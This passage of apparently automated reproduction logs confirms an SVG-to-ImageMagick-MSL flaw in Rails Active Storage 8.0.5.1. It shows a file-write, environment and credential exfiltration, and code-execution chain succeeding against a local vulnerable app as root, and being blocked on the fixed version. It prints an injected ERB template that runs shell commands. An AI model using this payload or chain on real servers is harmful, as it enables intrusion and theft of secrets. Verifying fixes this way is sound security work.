false, "exfil_bytes": 68, "exfil_contains_secret_key_base": false, "exfil_contains_canary": false, "canary_bytes": 68, "rce_response_evidence": null, "rce_marker": "", "rce_marker_expected": "PRUVA_RCE_7e1d4225e69d", "rce_ok": false} /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. --- fixed attempt 2 (http://127.0.0.1:3302) attack exit=1 /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:16:38Z exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:16:39Z response after the template write contains command output: None /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:16:39Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 68, "exfil_contains_secret_key_base": false, "exfil_contains_canary": false, "canary_bytes": 68, "rce_response_evidence": null, "rce_marker": "", "rce_marker_expected": "PRUVA_RCE_879b399af826", "rce_ok": false} /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. --- vulnerable attempts produced all effects: true --- fixed attempts produced no effect: true { "entrypoint_kind": "endpoint", "entrypoint_detail": "POST /uploads (Active Storage attach) on a Rails 8.0.5.1 app with variant_processor=:mini_magick and the Disk service; ImageMagick analyzer runs at attach time", "service_started": true, "healthcheck_passed": true, "target_path_reached": true, "runtime_stack": [ "ruby-3.4", "rails-8.0.5.1-activestorage", "mini_magick-5.0", "imagemagick-7.1.1-32", "puma", "sqlite3" ], "target_identity": { "repository_url": "https://github.com/rails/rails", "commit_sha": "7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c", "target_digest": "ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd", "platform": "linux", "architecture": "x86_64" }, "proof_artifacts": [ "logs/attempts/fixed_1/attack.log", "logs/attempts/fixed_1/attack.stdout", "logs/attempts/fixed_1/server.log", "logs/attempts/fixed_1/summary.json", "logs/attempts/fixed_2/attack.log", "logs/attempts/fixed_2/attack.stdout", "logs/attempts/fixed_2/server.log", "logs/attempts/fixed_2/summary.json", "logs/attempts/vuln_1/05_payload_env1024.msl", "logs/attempts/vuln_1/10_arbitrary_write.txt", "logs/attempts/vuln_1/11_exfil_blob_download.bin", "logs/attempts/vuln_1/11b_exfil_canary_download.bin", "logs/attempts/vuln_1/12_exfil_environ.txt", "logs/attempts/vuln_1/13_response_after_template_write.html", "logs/attempts/vuln_1/14_rce_marker.txt", "logs/attempts/vuln_1/attack.log", "logs/attempts/vuln_1/attack.stdout", "logs/attempts/vuln_1/server.log", "logs/attempts/vuln_1/summary.json", "logs/attempts/vuln_2/05_payload_env1024.msl", "logs/attempts/vuln_2/10_arbitrary_write.txt", "logs/attempts/vuln_2/11_exfil_blob_download.bin", "logs/attempts/vuln_2/11b_exfil_canary_download.bin", "logs/attempts/vuln_2/12_exfil_environ.txt", "logs/attempts/vuln_2/13_response_after_template_write.html", "logs/attempts/vuln_2/14_rce_marker.txt", "logs/attempts/vuln_2/attack.log", "logs/attempts/vuln_2/attack.stdout", "logs/attempts/vuln_2/server.log", "logs/attempts/vuln_2/summary.json" ], "artifact_sha256": { "logs/attempts/fixed_1/attack.log": "acbeb5b44519d95071c82e6b4ea8474b1779fd3774fafeb5e3d985d0c4e7bd20", "logs/attempts/fixed_1/attack.stdout": "1f92e8f8311127df2fb2b0b0b81edd69f5c08e1d0de51c29610b11cb8f9fe6cc", "logs/attempts/fixed_1/server.log": "55a1bcb1a27ec225b2b0c08a0e7fd6d7a3806c2b608ab5104a0bc955b1253327", "logs/attempts/fixed_1/summary.json": "5ab563ad8f1fc958ded1c18199357363394adc852e308a233e25f4c83f04b04c", "logs/attempts/fixed_2/attack.log": "dc9fb1e4faac854b1016a4c3ab01af926e972c40f4772b7833b7ee6d60da4255", "logs/attempts/fixed_2/attack.stdout": "a1c31357d2fd8c80f4dc0ac6d98ac5890544b9d4cc2085d9f740e7ffb2c86da2", "logs/attempts/fixed_2/server.log": "dffd2b8cf3d5ac6a8f4c8b64bd2d3fe12bbdb089e3ed4bcdeccf5fde284e139d", "logs/attempts/fixed_2/summary.json": "5e268921fd0c2a1f70c45604127585365bcf18f8a13887aa3536515e5e07893c", "logs/attempts/vuln_1/05_payload_env1024.msl": "18b7e9e6d514dba6b748306c02b9f3215d00ae91961c58b7b7c33d08a6fb82be", "logs/attempts/vuln_1/10_arbitrary_write.txt": "dddf51e959e589f8f46407a5869dea5e7d63d5b70061533250a98ccd373000f2", "logs/attempts/vuln_1/11_exfil_blob_download.bin": "7b95f0b0352cfcae896163739a0cb3408ed0464b5450a855533efb564aeee3d3", "logs/attempts/vuln_1/11b_exfil_canary_download.bin": "17defe7789eebca07ee01ea88dd74926f73b2422e50d2fe706ebc30d8b81c61d", "logs/attempts/vuln_1/12_exfil_environ.txt": "47a17d768fba1b756e6815b388bbe9912b96e74b56fcc6fedaa1167dca87b34b", "logs/attempts/vuln_1/13_response_after_template_write.html": "4c30c1b490622ed3b3db4ec789124a69c4657af84a3d9df935b7a2b6a72cb1d8", "logs/attempts/vuln_1/14_rce_marker.txt": "ac48e29870a60a38260052c91d6480c9335ea3b4a9ffbb7edff5d9e291e0c8f2", "logs/attempts/vuln_1/attack.log": "3afea133a184e0514dc00b14356e393096204df0bfd997efea55c068292898bb", "logs/attempts/vuln_1/attack.stdout": "27e5541c18f40e70bba43374cf4c660255b703bd7b13e8ac7299f2c23a16a3d8", "logs/attempts/vuln_1/server.log": "5ad4b1dd16cf7b3df989e23977f938971a95b09289bf21fbc7eedfdb9a0eb206", "logs/attempts/vuln_1/summary.json": "39a9c4dca346ec9eddaac59beda677f88dac8d3094271fea6df20ce030a97c7b", "logs/attempts/vuln_2/05_payload_env1024.msl": "d13d69a98bac936e282d77a2f473ac5cceca34f9eff24b049166e5be1b0c9945", "logs/attempts/vuln_2/10_arbitrary_write.txt": "83f40bb05a9bdc59e8399ca182eb1b10404ce4b45db7da05b6563635363bddde", "logs/attempts/vuln_2/11_exfil_blob_download.bin": "7b95f0b0352cfcae896163739a0cb3408ed0464b5450a855533efb564aeee3d3", "logs/attempts/vuln_2/11b_exfil_canary_download.bin": "17defe7789eebca07ee01ea88dd74926f73b2422e50d2fe706ebc30d8b81c61d", "logs/attempts/vuln_2/12_exfil_environ.txt": "47a17d768fba1b756e6815b388bbe9912b96e74b56fcc6fedaa1167dca87b34b", "logs/attempts/vuln_2/13_response_after_template_write.html": "dc9d349bae5b80d977e0b7b34ebd438b7dcb0f86374ef721f9665de015bf6964", "logs/attempts/vuln_2/14_rce_marker.txt": "796b7d97385fd325073ea2906d9a9d226ecf8d20f7315637264a5feeb1ab79b1", "logs/attempts/vuln_2/attack.log": "7c58896dda2bfa4410a56360363309873f72765f21970e7ac4771a56b828b016", "logs/attempts/vuln_2/attack.stdout": "da52d2463f74360f94c130d35b85712571a15e0377a25bd48907fe4ed156475d", "logs/attempts/vuln_2/server.log": "456aebe0f2f033e80de7ac1992f1bbf7de6fca8dcc1da58f8f87af6f296e5f3e", "logs/attempts/vuln_2/summary.json": "3103380ce44e6ee8f430a6b7374f1dad32cae431705b163cc34b7502b378860c" }, "notes": "attacker-controlled SVG reached ImageMagick MSL through the Active Storage image analyzer at attach time on activestorage 8.0.5.1: arbitrary file write, arbitrary file read of /proc/self/environ and of a planted credential file exfiltrated through the attacker's own blob, and code execution through a template the MSL write replaced. Fixed 8.0.5.2 refuses the MSL coder through the shipped ImageMagick policy." } === reproduction confirmed === === reproduction start 2026-11-04T14:18:22Z === --- vulnerable checkout: 7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c --- fixed checkout: ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776 --- RAILS_VERSION vuln=8.0.5.1 fixed=8.0.5.1 (fix commit; version bump is a later commit) --- target digest: ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd --- reusing existing image pruva/repro-f3w6 Version: ImageMagick 7.1.1-32 Q16-HDRI x86_64 e1de8c5eb:20240505 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC MSVG* rw+ ImageMagick's own SVG internal renderer policy: MSL not denied adc962f6982bad46022832faa03ca06c2825d58ca80b75108f547573f65f1d40 0ca774786b0df24824e00957ba58e8e7998b09b88ba7bef110f243560f9996f9 --- vulnerable app: http://127.0.0.1:3301 --- fixed app: http://127.0.0.1:3302 --- vuln attempt 1 (http://127.0.0.1:3301) attack exit=0 /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:18:35Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:18:35Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:18:35Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_85b4d706cf08 > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_85b4d706cf08", "rce_marker_expected": "PRUVA_RCE_85b4d706cf08", "rce_ok": true} --- vuln attempt 2 (http://127.0.0.1:3301) attack exit=0 /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:18:37Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:18:37Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:18:37Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_b2a04715f3af > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_b2a04715f3af", "rce_marker_expected": "PRUVA_RCE_b2a04715f3af", "rce_ok": true} --- fixed attempt 1 (http://127.0.0.1:3302) attack exit=1 /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:18:41Z exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:18:41Z response after the template write contains command output: None /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:18:41Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 68, "exfil_contains_secret_key_base": false, "exfil_contains_canary": false, "canary_bytes": 68, "rce_response_evidence": null, "rce_marker": "", "rce_marker_expected": "PRUVA_RCE_88f57a7fe0c3", "rce_ok": false} /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. --- fixed attempt 2 (http://127.0.0.1:3302) attack exit=1 /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:18:44Z exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:18:44Z response after the template write contains command output: None /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:18:44Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 68, "exfil_contains_secret_key_base": false, "exfil_contains_canary": false, "canary_bytes": 68, "rce_response_evidence": null, "rce_marker": "", "rce_marker_expected": "PRUVA_RCE_8eb65762045e", "rce_ok": false} /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. --- vulnerable attempts produced all effects: true --- fixed attempts produced no effect: true { "entrypoint_kind": "endpoint", "entrypoint_detail": "POST /uploads (Active Storage attach) on a Rails 8.0.5.1 app with variant_processor=:mini_magick and the Disk service; ImageMagick analyzer runs at attach time", "service_started": true, "healthcheck_passed": true, "target_path_reached": true, "runtime_stack": [ "ruby-3.4", "rails-8.0.5.1-activestorage", "mini_magick-5.0", "imagemagick-7.1.1-32", "puma", "sqlite3" ], "target_identity": { "repository_url": "https://github.com/rails/rails", "commit_sha": "7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c", "target_digest": "ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd", "platform": "linux", "architecture": "x86_64" }, "proof_artifacts": [ "logs/attempts/fixed_1/attack.log", "logs/attempts/fixed_1/attack.stdout", "logs/attempts/fixed_1/server.log", "logs/attempts/fixed_1/summary.json", "logs/attempts/fixed_2/attack.log", "logs/attempts/fixed_2/attack.stdout", "logs/attempts/fixed_2/server.log", "logs/attempts/fixed_2/summary.json", "logs/attempts/vuln_1/05_payload_env1024.msl", "logs/attempts/vuln_1/10_arbitrary_write.txt", "logs/attempts/vuln_1/11_exfil_blob_download.bin", "logs/attempts/vuln_1/11b_exfil_canary_download.bin", "logs/attempts/vuln_1/12_exfil_environ.txt", "logs/attempts/vuln_1/13_response_after_template_write.html", "logs/attempts/vuln_1/14_rce_marker.txt", "logs/attempts/vuln_1/attack.log", "logs/attempts/vuln_1/attack.stdout", "logs/attempts/vuln_1/server.log", "logs/attempts/vuln_1/summary.json", "logs/attempts/vuln_2/05_payload_env1024.msl", "logs/attempts/vuln_2/10_arbitrary_write.txt", "logs/attempts/vuln_2/11_exfil_blob_download.bin", "logs/attempts/vuln_2/11b_exfil_canary_download.bin", "logs/attempts/vuln_2/12_exfil_environ.txt", "logs/attempts/vuln_2/13_response_after_template_write.html", "logs/attempts/vuln_2/14_rce_marker.txt", "logs/attempts/vuln_2/attack.log", "logs/attempts/vuln_2/attack.stdout", "logs/attempts/vuln_2/server.log", "logs/attempts/vuln_2/summary.json" ], "artifact_sha256": { "logs/attempts/fixed_1/attack.log": "1b74e686fce55fe91a37276348ea7a18a64ddb11bce3f1fc2dd76a8afd6c3729", "logs/attempts/fixed_1/attack.stdout": "940ed327eacae2451647d61475024b9bedc501ea01fc8a2c4d9726dcdc15b2bf", "logs/attempts/fixed_1/server.log": "b735e0f0c22cf226aef739281714a3790b4be4362735b3549d6b34aa0267939a", "logs/attempts/fixed_1/summary.json": "69687f81e5e00c45c6deb735bddac8fbd5425f321ec510adff1fa8607eb8ac59", "logs/attempts/fixed_2/attack.log": "29a1201cbceb7833e9c44d39c3ffa2f3f856e587a44fa8e9d904170db3839888", "logs/attempts/fixed_2/attack.stdout": "91beb5445e4fa7cb41890dc0007927e64679faa8be6a1bc27e6a34642ced2fe4", "logs/attempts/fixed_2/server.log": "7d84e246888a7730d4bde95cba078a6f9634c5cb599351041e0ee4fe3188e938", "logs/attempts/fixed_2/summary.json": "1650ab6484cac67f855991b10ab1300d032ad0fd61d0b51b98cdfb17cf051e05", "logs/attempts/vuln_1/05_payload_env1024.msl": "21ec17fcdce93428dd2f4d2261fc9e1d12df63f9daa0c39657c110985963597a", "logs/attempts/vuln_1/10_arbitrary_write.txt": "c26fb734ab8df312fc796cc3342b96956841fab167c5929735f2c48d6c4300c8", "logs/attempts/vuln_1/11_exfil_blob_download.bin": "cdb69dab744e89d8a73738304fbcfed6d2bc83ab89eadac11c21c320bc3a6847", "logs/attempts/vuln_1/11b_exfil_canary_download.bin": "90a60247678e05229e8c9db4c3ce4d5872eed08e237fd6c31e00430b2810ed19", "logs/attempts/vuln_1/12_exfil_environ.txt": "ca38c6b3e6cabd64883c3b0cf88c26affb4cfccf2a560c22bfed8a172d0d6395", "logs/attempts/vuln_1/13_response_after_template_write.html": "bc1871482657416bc099f0a6bf19a3f7176bfb43324d281ed1a6af09741ad5f4", "logs/attempts/vuln_1/14_rce_marker.txt": "bd490118370c9d21ceb053bc9666d0a143b0eeb897995d0f51d4a63bf6f12f67", "logs/attempts/vuln_1/attack.log": "baa5ac94f73f3a4f5d0e6f4d0a15304d892b253cf8c092f4f6a2142540adaa61", "logs/attempts/vuln_1/attack.stdout": "72dd0f3cfd5e5cd0e0ab58e589940f6fdd8f951ba98e2e3641aa51d278fcd038", "logs/attempts/vuln_1/server.log": "9ce94128567964c5d902c43a7b25781e6c232e73da0ac14883bafa8f20038d0b", "logs/attempts/vuln_1/summary.json": "601f87dbd31fe12dffa17370953d0d1116465a2ed994a6a89a8957d96d807532", "logs/attempts/vuln_2/05_payload_env1024.msl": "7ec8a14113370c863587653be614ae23d079421e08800c767729466c67de9543", "logs/attempts/vuln_2/10_arbitrary_write.txt": "bfe211d0ef4f5a4fa26e1e1221d7b88a5a1c0403366f76a811dfd05dcb918da7", "logs/attempts/vuln_2/11_exfil_blob_download.bin": "cdb69dab744e89d8a73738304fbcfed6d2bc83ab89eadac11c21c320bc3a6847", "logs/attempts/vuln_2/11b_exfil_canary_download.bin": "90a60247678e05229e8c9db4c3ce4d5872eed08e237fd6c31e00430b2810ed19", "logs/attempts/vuln_2/12_exfil_environ.txt": "ca38c6b3e6cabd64883c3b0cf88c26affb4cfccf2a560c22bfed8a172d0d6395", "logs/attempts/vuln_2/13_response_after_template_write.html": "bffc190d63f27b06ac5398933dc4d104c0181deb800c8c2b89229056a993837d", "logs/attempts/vuln_2/14_rce_marker.txt": "ad2d2240808b4bae2eb4a345923cb27d8c8f27ef97458eaba4cef5ed22d8e0a0", "logs/attempts/vuln_2/attack.log": "ea60ab86fb08bce5057ade00010e4183df37ee96a87ddbb5d5b38f5a0692103a", "logs/attempts/vuln_2/attack.stdout": "45169a7744b392142cdbc2ba9ac39d0924c74bff3f71a6cf05a4473a922a6f11", "logs/attempts/vuln_2/server.log": "c14fc718056c8cb401148e59b0b59d3ec6743141e9abf3f01215c9d3dbcbf8d6", "logs/attempts/vuln_2/summary.json": "dc5ec8dee0c7c26e243558cca479ff6fcc7e89658709d70459b530f68977efcd" }, "notes": "attacker-controlled SVG reached ImageMagick MSL through the Active Storage image analyzer at attach time on activestorage 8.0.5.1: arbitrary file write, arbitrary file read of /proc/self/environ and of a planted credential file exfiltrated through the attacker's own blob, and code execution through a template the MSL write replaced. Fixed 8.0.5.2 refuses the MSL coder through the shipped ImageMagick policy." } === reproduction confirmed ===